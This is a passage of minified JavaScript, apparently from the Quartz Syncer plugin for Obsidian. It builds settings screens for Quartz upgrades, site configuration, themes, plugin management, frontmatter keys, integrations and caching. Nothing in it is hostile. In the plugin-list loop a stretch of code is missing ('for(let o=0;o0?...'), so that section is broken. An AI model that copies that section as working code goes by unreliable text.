checkForQuartzUpgrade(){if(!this.isCheckingUpgrade){this.isCheckingUpgrade=!0,this.display();try{let e=this.getOrCreateSiteManager(),n=new Vh(e.userSyncerConnection);this.cachedUpgradeStatus=await n.checkForUpgrade(),this.cachedUpgradeStatus.latestUpstreamSha&&!this.cachedUpgradeStatus.hasNewerCommits&&(this.settings.settings.lastUpstreamCommitSha=this.cachedUpgradeStatus.latestUpstreamSha,await this.settings.plugin.saveSettings());let r=this.settings.settings.upgradeCheckStrategy==="commit";(r?this.cachedUpgradeStatus.hasNewerCommits:this.cachedUpgradeStatus.hasUpgrade)?new Z.Notice(r?"New upstream Quartz commits available. Run `npx quartz upgrade` to upgrade.":"A Quartz upgrade is available. Run `npx quartz upgrade` to upgrade."):this.cachedUpgradeStatus.error?new Z.Notice(`Upgrade check failed: ${this.cachedUpgradeStatus.error}`):new Z.Notice("Quartz is up to date.")}catch(e){let n=e instanceof Error?e.message:String(e);ys.warn("Failed to check for Quartz upgrade",e),new Z.Notice(`Failed to check for Quartz upgrade: ${n}`)}finally{this.isCheckingUpgrade=!1,this.display()}}}async performQuartzUpgrade(){if(!this.isUpgrading){this.isUpgrading=!0,this.display();try{let e=this.getOrCreateSiteManager(),r=await new Vh(e.userSyncerConnection).performUpgrade();r.success?(r.alreadyMerged?new Z.Notice("Quartz is already up to date."):new Z.Notice(`Quartz upgraded successfully to ${r.oid?.slice(0,7)}.`),this.cachedUpgradeStatus=null,this.resetCache()):new Z.Notice(r.error??"Upgrade failed.")}catch(e){let n=e instanceof Error?e.message:String(e);ys.warn("Failed to upgrade Quartz",e),new Z.Notice(`Failed to upgrade Quartz: ${n}`)}finally{this.isUpgrading=!1,this.display()}}}renderTemplateSection(){if(this.cachedTemplateNames.length!==0){new Z.Setting(this.settingsRootElement).setName("Templates").setDesc("Apply a configuration template to replace your current settings with a preset.").setHeading();for(let e of this.cachedTemplateNames){let n=new Z.Setting(this.settingsRootElement).setName(e),r=this.cachedTemplates.get(e);r&&n.setDesc(`Title: "${r.config.configuration.pageTitle}" \xB7 ${r.config.plugins.length} plugin(s)`),n.addButton(i=>i.setButtonText("Preview").onClick(async()=>{if(!this.templateService)return;let s=this.cachedTemplates.get(e)??await this.templateService.readTemplate(e);if(!s){new Z.Notice(`Could not load template "${e}".`);return}this.cachedTemplates.set(e,s),new Z.Notice(`Template "${e}": ${s.config.plugins.length} plugin(s), title "${s.config.configuration.pageTitle}"`),this.display()})),n.addButton(i=>i.setButtonText("Apply").setWarning().onClick(async()=>{if(!this.cachedConfig||!this.templateService)return;let s=this.cachedTemplates.get(e)??await this.templateService.readTemplate(e);if(!s){new Z.Notice(`Could not load template "${e}".`);return}this.cachedTemplates.set(e,s),this.templateService.applyTemplate(this.cachedConfig,s),this.markDirty(),this.display(),new Z.Notice(`Template "${e}" applied. Save to push changes.`)}))}}}renderSiteConfigSection(){if(!this.cachedConfig)return;let e=this.cachedConfig.configuration;new Z.Setting(this.settingsRootElement).setName("Site Configuration").setDesc("Edit site settings. Changes are applied when you click Save above.").setHeading(),new Z.Setting(this.settingsRootElement).setName("Page title").setDesc("The title shown in the browser tab and site header.").addText(n=>n.setValue(e.pageTitle).onChange(r=>{e.pageTitle=r,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Page title suffix").setDesc('Appended to the page title on subpages (e.g. " | My Site").').addText(n=>n.setValue(e.pageTitleSuffix??"").onChange(r=>{e.pageTitleSuffix=r||void 0,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("SPA mode").setDesc("Single Page Application mode for faster navigation between pages.").addToggle(n=>n.setValue(e.enableSPA).onChange(r=>{e.enableSPA=r,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Popovers").setDesc("Show page preview popovers on hover.").addToggle(n=>n.setValue(e.enablePopovers??!1).onChange(r=>{e.enablePopovers=r,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Locale").setDesc("BCP 47 locale tag for date formatting and i18n (e.g. en-US).").addText(n=>n.setValue(e.locale).onChange(r=>{e.locale=r,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Base URL").setDesc("The base URL where your site is hosted (without protocol, e.g. example.com/quartz).").addText(n=>n.setPlaceholder("example.com").setValue(e.baseUrl??"").onChange(r=>{e.baseUrl=r||void 0,this.markDirty()})),e.analytics&&new Z.Setting(this.settingsRootElement).setName("Analytics provider").setDesc(e.analytics.provider),new Z.Setting(this.settingsRootElement).setName("Ignore patterns").setDesc("Comma-separated glob patterns for files to exclude from processing.").addText(n=>n.setPlaceholder("drafts/*, private/*").setValue((e.ignorePatterns??[]).join(", ")).onChange(r=>{e.ignorePatterns=r.split(",").map(i=>i.trim()).filter(i=>i.length>0),this.markDirty()})),e.theme&&this.renderThemeSection(e)}renderThemeSection(e){let n=e.theme;new Z.Setting(this.settingsRootElement).setName("Theme").setDesc("Typography and font settings.").setHeading(),new Z.Setting(this.settingsRootElement).setName("Header font").addText(i=>i.setValue(n.typography.header).onChange(s=>{n.typography.header=s,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Body font").addText(i=>i.setValue(n.typography.body).onChange(s=>{n.typography.body=s,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("Code font").addText(i=>i.setValue(n.typography.code).onChange(s=>{n.typography.code=s,this.markDirty()})),new Z.Setting(this.settingsRootElement).setName("CDN caching").setDesc("Cache fonts via CDN for faster loading.").addToggle(i=>i.setValue(n.cdnCaching).onChange(s=>{n.cdnCaching=s,this.markDirty()}));let r=this.findQuartzThemesPlugin();new Z.Setting(this.settingsRootElement).setName("Use Quartz Themes").setDesc("Use community color themes from Quartz Themes instead of manual color editing.").addToggle(i=>i.setValue(r!==null).onChange(s=>{if(this.cachedConfig){if(s)try{this.pluginManager.addPlugin(this.cachedConfig,{name:"quartz-themes",repo:"github:saberzero1/quartz-themes",subdir:"plugin",ref:"main"}),new Z.Notice("Quartz Themes plugin added. Save to push changes.")}catch(o){let a=o instanceof Error?o.message:String(o);new Z.Notice(a)}else{let o=this.cachedConfig.plugins.findIndex(a=>Vn(a.source)==="quartz-themes");o!==-1&&(this.cachedConfig.plugins.splice(o,1),new Z.Notice("Quartz Themes plugin removed. Save to push changes."))}this.markDirty(),this.display()}})),r?this.renderQuartzThemesConfig(r):(this.renderColorSchemeSection("Light mode colors",n.colors.lightMode,mK),this.renderColorSchemeSection("Dark mode colors",n.colors.darkMode,pK))}renderColorSchemeSection(e,n,r){new Z.Setting(this.settingsRootElement).setName(e).setHeading();let i=[{key:"light",label:"Background"},{key:"lightgray",label:"Light gray (borders)"},{key:"gray",label:"Gray (graph, heavier borders)"},{key:"darkgray",label:"Dark gray (body text)"},{key:"dark",label:"Dark (headings)"},{key:"secondary",label:"Secondary (link color)"},{key:"tertiary",label:"Tertiary (hover states)"},{key:"highlight",label:"Highlight (internal link bg)"},{key:"textHighlight",label:"Text highlight (==marked==)"}];for(let{key:s,label:o}of i){let a=new Z.Setting(this.settingsRootElement).setName(o),l=n[s],c=r[s],u=/^#[0-9a-fA-F]{3,8}$/.test(l);l!==c&&a.addExtraButton(f=>f.setIcon("reset").setTooltip(`Reset to default: ${c}`).onClick(()=>{n[s]=c,this.markDirty(),this.display()})),u&&a.addColorPicker(f=>f.setValue(l).onChange(h=>{n[s]=h,this.markDirty(),this.display()})),a.addText(f=>f.setValue(l).onChange(h=>{n[s]=h,this.markDirty()}))}}findQuartzThemesPlugin(){return this.cachedConfig?this.cachedConfig.plugins.find(e=>Vn(e.source)==="quartz-themes")??null:null}renderQuartzThemesConfig(e){e.options||(e.options={});let n=e.options.theme??"default",r=e.options.variation??null,i=this.cachedThemesJson;if(!i){new Z.Setting(this.settingsRootElement).setName("Theme").setDesc("Loading available themes..."),this.fetchThemesJson().then(()=>this.display());return}let s=Object.keys(i).sort();new Z.Setting(this.settingsRootElement).setName("Theme").setDesc("Select a community color theme.").addDropdown(l=>{for(let c of s)l.addOption(c,c);l.setValue(n).onChange(c=>{e.options||(e.options={}),e.options.theme=c||"default";let u=c?i[c]:null;u&&u.variations&&u.variations.length>0?e.options.variation=null:delete e.options.variation,this.markDirty(),this.display()})});let a=(n?i[n]:null)?.variations??[];a.length>0&&new Z.Setting(this.settingsRootElement).setName("Variation").setDesc("Select a theme variation.").addDropdown(l=>{l.addOption("","\u2014 No variation \u2014");for(let c of a)l.addOption(c.name,c.name);l.setValue(r??"").onChange(c=>{e.options||(e.options={}),c?e.options.variation=c:delete e.options.variation,this.markDirty()})})}async fetchThemesJson(){if(!this.cachedThemesJson)try{let e=await(0,Z.requestUrl)({url:"https://raw.githubusercontent.com/saberzero1/quartz-themes/master/themes.json"});if(e.status<200||e.status>=300){ys.warn(`Failed to fetch themes.json: ${e.status}`);return}let n=JSON.parse(e.text);this.cachedThemesJson=n.themes}catch(e){ys.warn("Failed to fetch themes.json:",e)}}async checkForUpdates(){if(!(!this.cachedConfig||this.isCheckingUpdates)){this.isCheckingUpdates=!0,this.display();try{let e=this.plugin.getGitSettingsWithSecret(),r=await new Do(e.auth,e.corsProxyUrl).checkUpdates(this.cachedConfig.plugins,this.cachedLockFile);this.cachedUpdateStatuses=new Map(r.map(s=>[s.sourceKey,s]));let i=r.filter(s=>s.hasUpdate).length;i>0?new Z.Notice(`${i} plugin update(s) available.`):new Z.Notice("All plugins are up to date.")}catch(e){let n=e instanceof Error?e.message:String(e);ys.warn("Failed to check for plugin updates",e),new Z.Notice(`Failed to check for updates: ${n}`)}finally{this.isCheckingUpdates=!1,this.display()}}}async updatePlugin(e,n){if(!this.cachedLockFile||!this.configService)return;let r=this.cachedLockFile.plugins[e];if(!r){new Z.Notice(`No lock entry found for ${e}.`);return}try{r.commit=n,r.installedAt=new Date().toISOString(),await this.configService.writeLockFile(this.cachedLockFile,`Update ${e} to ${n.slice(0,7)} via Syncer`),this.cachedUpdateStatuses&&this.cachedUpdateStatuses.delete(e),new Z.Notice(`Updated ${e} to ${n.slice(0,7)}.`),this.display()}catch(i){let s=i instanceof Error?i.message:String(i);ys.warn(`Failed to update ${e}`,i),new Z.Notice(`Failed to update ${e}: ${s}`)}}async updateAllPlugins(){if(!this.cachedLockFile||!this.configService||!this.cachedUpdateStatuses)return;let e=[...this.cachedUpdateStatuses.values()].filter(n=>n.hasUpdate&&n.remoteCommit);if(e.length===0){new Z.Notice("No plugin updates available.");return}try{for(let r of e){let i=this.cachedLockFile.plugins[r.sourceKey];i&&r.remoteCommit&&(i.commit=r.remoteCommit,i.installedAt=new Date().toISOString())}let n=e.map(r=>r.sourceKey).join(", ");await this.configService.writeLockFile(this.cachedLockFile,`Update ${e.length} plugin(s) via Syncer: ${n}`),this.cachedUpdateStatuses=null,new Z.Notice(`Updated ${e.length} plugin(s): ${n}`),this.display()}catch(n){let r=n instanceof Error?n.message:String(n);ys.warn("Failed to update plugins",n),new Z.Notice(`Failed to update plugins: ${r}`)}}async installPlugin(e){if(!this.cachedConfig||!this.configService)throw new Error("Configuration not loaded.");let n=this.pluginManager.addPlugin(this.cachedConfig,e);if(this.manifestService)try{let i=await this.manifestService.fetchManifest(e);i?.defaultOptions&&(n.options={...i.defaultOptions})}catch{}await this.configService.writeConfig(this.cachedConfig);let r=this.plugin.getGitSettingsWithSecret();try{let o=(await new Do(r.auth,r.corsProxyUrl).checkUpdates([n],this.cachedLockFile))[0];if(o?.remoteCommit&&this.cachedLockFile&&this.configService){let a=Vn(e);this.cachedLockFile.plugins[a]={source:e,resolved:Qc(e),commit:o.remoteCommit,installedAt:new Date().toISOString()},await this.configService.writeLockFile(this.cachedLockFile,`Install ${a} via Syncer`)}}catch{}this.display()}renderPluginListSection(){if(!this.cachedConfig)return;let e=this.cachedConfig.plugins,n=this.cachedLockFile?.plugins??{},r=new Z.Setting(this.settingsRootElement).setName("Plugins").setDesc(`${e.length} plugin(s) configured. Toggle enabled state or adjust execution order.`).setHeading();r.addButton(o=>o.setButtonText(this.isCheckingUpdates?"Checking...":"Check for updates").setDisabled(this.isCheckingUpdates).onClick(async()=>{await this.checkForUpdates()}));let i=this.cachedUpdateStatuses?[...this.cachedUpdateStatuses.values()].filter(o=>o.hasUpdate).length:0;i>0&&r.addButton(o=>o.setButtonText(`Update all (${i})`).onClick(async()=>{await this.updateAllPlugins()})),r.addButton(o=>o.setButtonText("Browse plugins").onClick(()=>{if(!this.cachedConfig)return;new Kg(this.app,this.pluginRegistry,this.cachedConfig,async l=>this.installPlugin(l)).open()}));let s="";if(new Z.Setting(this.settingsRootElement).setName("Add plugin").setDesc('Enter a plugin source (e.g. "github:quartz-community/explorer").').addText(o=>o.setPlaceholder("github:org/plugin").onChange(a=>{s=a})).addButton(o=>o.setButtonText("Add").onClick(()=>{if(!(!this.cachedConfig||!s.trim()))try{this.pluginManager.addPlugin(this.cachedConfig,s.trim()),this.markDirty(),this.display(),new Z.Notice(`Plugin "${s.trim()}" added. Save to push changes.`)}catch(a){let l=a instanceof Error?a.message:String(a);new Z.Notice(l)}})),e.length===0){new Z.Setting(this.settingsRootElement).setName("No plugins").setDesc("No plugins are configured in your Quartz config.");return}for(let o=0;o0?o.join(" \xB7 "):"");u.addToggle(h=>h.setTooltip("Enable or disable this plugin").setValue(e.enabled).onChange(d=>{e.enabled=d,this.markDirty()})),u.addExtraButton(h=>h.setIcon("arrow-up").setTooltip("Move up").setDisabled(n===0).onClick(()=>this.movePlugin(n,n-1))),u.addExtraButton(h=>h.setIcon("arrow-down").setTooltip("Move down").setDisabled(n===r-1).onClick(()=>this.movePlugin(n,n+1))),u.addExtraButton(h=>h.setIcon("trash").setTooltip("Remove plugin").onClick(()=>{if(!this.cachedConfig)return;let d=Dn(e.source);try{this.pluginManager.removePlugin(this.cachedConfig,d),this.markDirty(),this.display(),new Z.Notice(`Plugin "${Vn(e.source)}" removed. Save to push changes.`)}catch(p){let g=p instanceof Error?p.message:String(p);new Z.Notice(g)}})),e.layout&&this.renderPluginLayoutControls(e),l?.hasUpdate&&l.remoteCommit&&u.addExtraButton(h=>h.setIcon("download").setTooltip(`Update to ${l.remoteCommit?.slice(0,7)}`).onClick(async()=>{await this.updatePlugin(s,l.remoteCommit)}));let f=this.expandedPlugins.has(s);u.addExtraButton(h=>h.setIcon(f?"chevron-up":"settings").setTooltip(f?"Hide options":"Show options").onClick(async()=>{if(f)this.expandedPlugins.delete(s);else if(this.expandedPlugins.add(s),!this.cachedManifests.has(s)&&this.manifestService){let d=await this.manifestService.fetchManifest(e.source);this.cachedManifests.set(s,d)}this.display()})),f&&this.renderPluginOptions(e,s)}renderPluginOptions(e,n){e.options||(e.options={});let r=l=>l!==null&&typeof l=="object"?JSON.stringify(l):String(l),i=this.cachedManifests.get(n),s=i?.optionSchema??i?.configSchema??null,o=new Set([...Object.keys(e.options),...s?Object.keys(s):[]]);o.size===0&&new Z.Setting(this.settingsRootElement).setDesc(i?"This plugin has no configurable options.":"Loading manifest failed. You can still edit options manually.");for(let l of o){let c=e.options[l],u=s?.[l],f=u?.title??l,h=u?.description??"",d=new Z.Setting(this.settingsRootElement).setName(f).setDesc(h);typeof c=="boolean"?d.addToggle(p=>p.setValue(c).onChange(g=>{e.options[l]=g,this.markDirty()})):typeof c=="number"||u?.type==="number"||u?.type==="integer"?d.addText(p=>p.setValue(c!==void 0?r(c):"").setPlaceholder(u?.default!==void 0?r(u.default):"").onChange(g=>{let y=parseFloat(g);e.options[l]=isNaN(y)?void 0:y,this.markDirty()})):d.addText(p=>p.setValue(c!==void 0?r(c):"").setPlaceholder(u?.default!==void 0?r(u.default):"").onChange(g=>{e.options[l]=g||void 0,this.markDirty()}))}let a="";new Z.Setting(this.settingsRootElement).setDesc("Add a custom option key.").addText(l=>l.setPlaceholder("optionKey").onChange(c=>{a=c})).addButton(l=>l.setButtonText("Add option").onClick(()=>{if(!(!a.trim()||!e.options)){if(e.options[a.trim()]!==void 0){new Z.Notice(`Option "${a.trim()}" already exists.`);return}e.options[a.trim()]="",this.markDirty(),this.display()}}))}renderPluginLayoutControls(e){if(!e.layout)return;let n=e.layout,r=new Z.Setting(this.settingsRootElement).setDesc("Layout: position, priority, and display mode for this plugin's component.");r.addDropdown(i=>{i.addOption("","No position");for(let s of hK)i.addOption(s,s);i.setValue(n.position??"").onChange(s=>{n.position=s||void 0,this.markDirty()})}),r.addText(i=>i.setPlaceholder("Priority").setValue(n.priority!==void 0?String(n.priority):"").onChange(s=>{let o=parseInt(s,10);n.priority=isNaN(o)?void 0:o,this.markDirty()})),r.addDropdown(i=>{for(let s of dK)i.addOption(s,s);i.setValue(n.display??"all").onChange(s=>{n.display=s,this.markDirty()})})}renderLayoutSection(){if(!this.cachedConfig)return;let e=this.cachedConfig;e.layout||(e.layout={});let n=e.layout;new Z.Setting(this.settingsRootElement).setName("Layout Overrides").setDesc("Per-page-type layout overrides. Set a frame template or exclude plugins for specific page types.").setHeading();for(let r of gK)this.renderPageTypeOverride(n,r)}renderPageTypeOverride(e,n){e.byPageType||(e.byPageType={});let r=e.byPageType[n],i=r!==void 0,s=new Z.Setting(this.settingsRootElement).setName(n);if(!i){s.setDesc("No overrides configured."),s.addButton(o=>o.setButtonText("Add override").onClick(()=>{e.byPageType||(e.byPageType={}),e.byPageType[n]={},this.markDirty(),this.display()}));return}s.addButton(o=>o.setButtonText("Remove override").onClick(()=>{e.byPageType&&delete e.byPageType[n],this.markDirty(),this.display()})),new Z.Setting(this.settingsRootElement).setName("Template").setDesc(`Frame template for ${n} pages.`).addDropdown(o=>{o.addOption("","Default");let a=["default","full-width","minimal",...this.cachedTemplateNames.filter(l=>l!=="default"&&l!=="full-width"&&l!=="minimal")];for(let l of a)o.addOption(l,l);o.setValue(r.template??"").onChange(l=>{r.template=l||void 0,this.markDirty()})}),new Z.Setting(this.settingsRootElement).setName("Excluded plugins").setDesc(`Comma-separated plugin names to exclude from ${n} pages.`).addText(o=>o.setPlaceholder("reader-mode, graph").setValue((r.exclude??[]).join(", ")).onChange(a=>{r.exclude=a.split(",").map(l=>l.trim()).filter(l=>l.length>0),r.exclude.length===0&&(r.exclude=void 0),this.markDirty()}))}movePlugin(e,n){if(!this.cachedConfig)return;let r=this.cachedConfig.plugins;if(n<0||n>=r.length)return;let[i]=r.splice(e,1);r.splice(n,0,i),this.markDirty(),this.display()}};m();var En=require("obsidian"),Yg=class extends En.PluginSettingTab{app;plugin;settings;settingsRootElement;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.plugin=n,this.settingsRootElement=i}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings"),this.initializeFrontmatterHeader(),this.initializePublishFrontmatterKeySetting(),this.initializeFrontmatterFormatSetting(),this.initializeAllNotesPublishableByDefaultSetting(),this.initializeShowCreatedTimestampSetting(),this.initializeCreatedTimestampKeysSetting(),this.initializeShowUpdatedTimestampSetting(),this.initializeUpdatedTimestampKeysSetting(),this.initializeShowPublishedTimestampSetting(),this.initializePublishedTimestampKeysSetting(),this.initializeEnablePermalinkSetting(),this.initializeIncludeAllFrontmatterSetting();let e=["created"];(this.settings.settings.createdTimestampKey===""||e.includes(this.settings.settings.createdTimestampKey))&&(this.settings.settings.createdTimestampKey="created, created_at, date");let n=["modified"];(this.settings.settings.updatedTimestampKey===""||n.includes(this.settings.settings.updatedTimestampKey))&&(this.settings.settings.updatedTimestampKey="modified, lastmod, updated, last-modified");let r=["published"];(this.settings.settings.publishedTimestampKey===""||r.includes(this.settings.settings.publishedTimestampKey))&&(this.settings.settings.publishedTimestampKey="published, publishDate, date"),this.settings.settings.lastUsedSettingsTab="frontmatter",this.settings.plugin.saveSettings()}initializeFrontmatterHeader=()=>{new En.Setting(this.settingsRootElement).setName("Note properties (frontmatter)").setDesc("Quartz Syncer will apply these settings to your Quartz notes' properties or frontmatter.").setHeading()};initializeFrontmatterFormatSetting(){new En.Setting(this.settingsRootElement).setName("Frontmatter format").setDesc("Output format for frontmatter in published notes. YAML is more readable, JSON is supported in case you need it.").addDropdown(e=>e.addOption("yaml","YAML").addOption("json","JSON").setValue(this.settings.settings.frontmatterFormat??"yaml").onChange(async n=>{this.settings.settings.frontmatterFormat=n,await this.settings.plugin.saveSettings()}))}initializePublishFrontmatterKeySetting(){this.settings.settings.allNotesPublishableByDefault||new En.Setting(this.settingsRootElement).setName("Publish key").setDesc('Note property key used to mark a note as eligible to publish. Quartz Syncer will ignore all notes without this property. By default "publish".').addText(e=>e.setPlaceholder("publish").setValue(this.settings.settings.publishFrontmatterKey).onChange(async n=>{n.length===0&&(n="publish"),this.settings.settings.publishFrontmatterKey=n,await this.settings.plugin.saveSettings()}))}initializeAllNotesPublishableByDefaultSetting(){new En.Setting(this.settingsRootElement).setName("All notes publishable by default").setDesc("Make all notes publishable by default. This will override the publish key setting and make all notes eligible for publication.").addToggle(e=>e.setValue(this.settings.settings.allNotesPublishableByDefault).onChange(async n=>{this.settings.settings.allNotesPublishableByDefault=n,await this.settings.plugin.saveSettings(),this.display()}))}initializeIncludeAllFrontmatterSetting(){new En.Setting(this.settingsRootElement).setName("Include all properties").setDesc("Include all note properties in the Quartz Syncer note. Enabling this will overrides other property settings to include all properties keys and values. Even note properties that are not used by Quartz will be included in the note's frontmatter. You shouldn't need this setting unless you have Quartz components that require non-standard properties.").addToggle(e=>e.setValue(this.settings.settings.includeAllFrontmatter).onChange(async n=>{this.settings.settings.includeAllFrontmatter=n,await this.settings.plugin.saveSettings(),this.display()}))}initializeShowCreatedTimestampSetting(){this.settings.settings.includeAllFrontmatter||new En.Setting(this.settingsRootElement).setName("Include created timestamp").setDesc("Include the created timestamp in your note's properties.").addToggle(e=>e.setValue(this.settings.settings.showCreatedTimestamp).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{this.settings.settings.showCreatedTimestamp=n,await this.settings.plugin.saveSettings(),this.display()}))}initializeCreatedTimestampKeysSetting(){!this.settings.settings.includeAllFrontmatter&&this.settings.settings.showCreatedTimestamp&&new En.Setting(this.settingsRootElement).setName("Created timestamp keys").setDesc("Comma-separated list of keys to look for to determine the created timestamp. By default, Quartz Syncer will look for 'created', 'created_at', and 'date'.").addText(e=>e.setPlaceholder("created, created_at, date").setValue(this.settings.settings.createdTimestampKey).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{(n.length===0||this.settings.settings.createdTimestampKey==="")&&(n="created, created_at, date"),this.settings.settings.createdTimestampKey=n,await this.settings.plugin.saveSettings()}))}initializeShowUpdatedTimestampSetting(){this.settings.settings.includeAllFrontmatter||new En.Setting(this.settingsRootElement).setName("Include modified timestamp").setDesc("Include the modified timestamp in your note's properties.").addToggle(e=>e.setValue(this.settings.settings.showUpdatedTimestamp).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{this.settings.settings.showUpdatedTimestamp=n,await this.settings.plugin.saveSettings(),this.display()}))}initializeUpdatedTimestampKeysSetting(){!this.settings.settings.includeAllFrontmatter&&this.settings.settings.showUpdatedTimestamp&&new En.Setting(this.settingsRootElement).setName("Modified timestamp keys").setDesc("Comma-separated list of keys to look for to determine the modified timestamp. By default, Quartz Syncer will look for 'modified', 'lastmod', 'updated', and 'last-modified'.").addText(e=>e.setPlaceholder("modified, lastmod, updated, last-modified").setValue(this.settings.settings.updatedTimestampKey).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{(n.length===0||this.settings.settings.updatedTimestampKey==="")&&(n="modified, lastmod, updated, last-modified"),this.settings.settings.updatedTimestampKey=n,await this.settings.plugin.saveSettings()}))}initializeShowPublishedTimestampSetting(){this.settings.settings.includeAllFrontmatter||new En.Setting(this.settingsRootElement).setName("Include published timestamp").setDesc("Include the published timestamp in your note's properties.").addToggle(e=>e.setValue(this.settings.settings.showPublishedTimestamp).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{this.settings.settings.showPublishedTimestamp=n,await this.settings.plugin.saveSettings(),this.display()}))}initializePublishedTimestampKeysSetting(){!this.settings.settings.includeAllFrontmatter&&this.settings.settings.showPublishedTimestamp&&new En.Setting(this.settingsRootElement).setName("Published timestamp keys").setDesc("Comma-separated list of keys to look for to determine the published timestamp. By default, Quartz Syncer will look for 'published', 'publishDate', and 'date'.").addText(e=>e.setPlaceholder("published, publishDate, date").setValue(this.settings.settings.publishedTimestampKey).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{(n.length===0||this.settings.settings.publishedTimestampKey==="")&&(n="published, publishDate, date"),this.settings.settings.publishedTimestampKey=n,await this.settings.plugin.saveSettings()}))}initializeEnablePermalinkSetting(){new En.Setting(this.settingsRootElement).setName("Enable permalinks").setDesc(`Use the note's permalink as the Quartz note's URL if "permalink" is not in the frontmatter. This will override the default Quartz URL.`).addToggle(e=>e.setValue(this.settings.settings.usePermalink).setDisabled(this.settings.settings.includeAllFrontmatter).onChange(async n=>{this.settings.settings.usePermalink=n,await this.settings.plugin.saveSettings()}))}};m();var Eo=require("obsidian");var Jg=class extends Eo.PluginSettingTab{app;plugin;settings;settingsRootElement;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.settingsRootElement=i}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings");let e=Vt.getByCategory("core"),n=Vt.getByCategory("community");if(e.length>0){this.initializeCorePluginHeader();for(let r of e)this.initializeIntegrationSetting(r)}if(n.length>0){this.initializeCommunityPluginHeader();for(let r of n)this.initializeIntegrationSetting(r)}this.initializeStylesHeader(),this.initializeManageSyncerStylesSetting(),this.settings.settings.lastUsedSettingsTab="integration",this.settings.plugin.saveSettings()}initializeCorePluginHeader(){new Eo.Setting(this.settingsRootElement).setName("Core plugins").setDesc("Integrations for Obsidian's built-in core plugins.").setHeading()}initializeCommunityPluginHeader(){new Eo.Setting(this.settingsRootElement).setName("Community plugins").setDesc("Integrations for third-party community plugins.").setHeading()}initializeIntegrationSetting(e){let n=e.isAvailable(),r=e.settingKey,i=this.settings.settings[r];new Eo.Setting(this.settingsRootElement).setName(`Enable ${e.name} integration`).setDesc(this.getIntegrationDescription(e.id)).addToggle(s=>s.setValue(i&&n).setDisabled(!n).onChange(async o=>{this.settings.settings[r]=o&&n,await this.settings.plugin.saveSettings()})).setClass(n?"quartz-syncer-settings-enabled":"quartz-syncer-settings-disabled")}getIntegrationDescription(e){return{dataview:"Converts Dataview queries into Quartz-compatible markdown.",datacore:"Converts Datacore queries into Quartz-compatible markdown. Currently experimental.",excalidraw:"Syncs Excalidraw drawings to Quartz. Rendering is handled by the Quartz Excalidraw plugin.","fantasy-statblocks":"Converts Fantasy Statblocks queries into Quartz-compatible format.","auto-card-link":"Converts Auto Card Link queries into Quartz-compatible markdown.",bases:"Publishes Obsidian Bases (.base files) to Quartz. Processing is delegated to Quartz.",canvas:"Publishes JSON Canvas (.canvas files) to Quartz. Processing is delegated to Quartz."}[e]??`Enables ${e} integration.`}initializeStylesHeader(){new Eo.Setting(this.settingsRootElement).setName("Integration styles").setDesc("Settings for managing integration styles in your Quartz project.").setHeading()}initializeManageSyncerStylesSetting(){new Eo.Setting(this.settingsRootElement).setName("Manage integration styles").setDesc("When enabled, Quartz Syncer will automatically write SCSS files for enabled integrations and ensure custom.scss imports them.").addToggle(e=>e.setValue(this.settings.settings.manageSyncerStyles).onChange(async n=>{this.settings.settings.manageSyncerStyles=n,await this.settings.plugin.saveSettings()}))}};m();var mi=require("obsidian"),Xg=class extends mi.PluginSettingTab{app;plugin;settings;settingsRootElement;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.settingsRootElement=i,this.settingsRootElement.classList.add("settings-tab-content")}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings"),this.initializePerformanceHeader(),this.initializeEnableCacheSetting(),this.initializeSyncCacheSetting(),this.initializePersistCacheSetting(),this.initializeClearCacheSetting(),this.settings.settings.lastUsedSettingsTab="performance",this.settings.plugin.saveSettings()}initializePerformanceHeader=()=>{new mi.Setting(this.settingsRootElement).setName("Performance").setDesc("Quartz Syncer will use these settings to improve performance.").setHeading()};initializeEnableCacheSetting=()=>{new mi.Setting(this.settingsRootElement).setName("Enable caching").setDesc("Enable or disable the Quartz Syncer cache. This can improve performance by storing compiled files locally.").addToggle(e=>e.setValue(this.settings.settings.useCache).onChange(n=>{this.settings.settings.useCache=n,this.settings.plugin.saveSettings(),n||(this.plugin.datastore.persister.clear(),new mi.Notice("Quartz Syncer: Cache disabled. All cached data will be cleared.")),this.display()}))};initializeSyncCacheSetting=()=>{this.settings.settings.useCache&&new mi.Setting(this.settingsRootElement).setName("Synchronize cache between devices").setDesc("Whether to write the cache to `data.json`. This is useful for syncing the cache across devices. It is recommended to enable this setting if you are using Quartz Syncer on multiple devices.").addToggle(e=>e.setValue(this.settings.settings.syncCache).onChange(n=>{this.settings.settings.syncCache=n,this.settings.plugin.saveSettings()}))};initializePersistCacheSetting=()=>{this.settings.settings.useCache&&new mi.Setting(this.settingsRootElement).setName("Persist cache after unload").setDesc("Whether to persist the cache when the plugin is unloaded. This is useful for users that start Obsidian with the plugin disabled.").addToggle(e=>e.setValue(this.settings.settings.persistCache).onChange(n=>{this.settings.settings.persistCache=n,this.settings.plugin.saveSettings()}))};initializeClearCacheSetting=()=>{this.settings.settings.useCache&&new mi.Setting(this.settingsRootElement).setName("Clear cache").setDesc("Clear the Quartz Syncer cache. This will remove all cached files and force a re-fetch of all data from the remote repository.").addButton(e=>e.setButtonText("Clear cache").setCta().onClick(async()=>{await this.plugin.datastore.dropAllFiles(),this.settings.settings.cache="{}",this.settings.plugin.saveSettings(),new mi.Notice("Quartz Syncer: cache cleared.")}))}};m();var Wh=require("obsidian"),ey=class extends 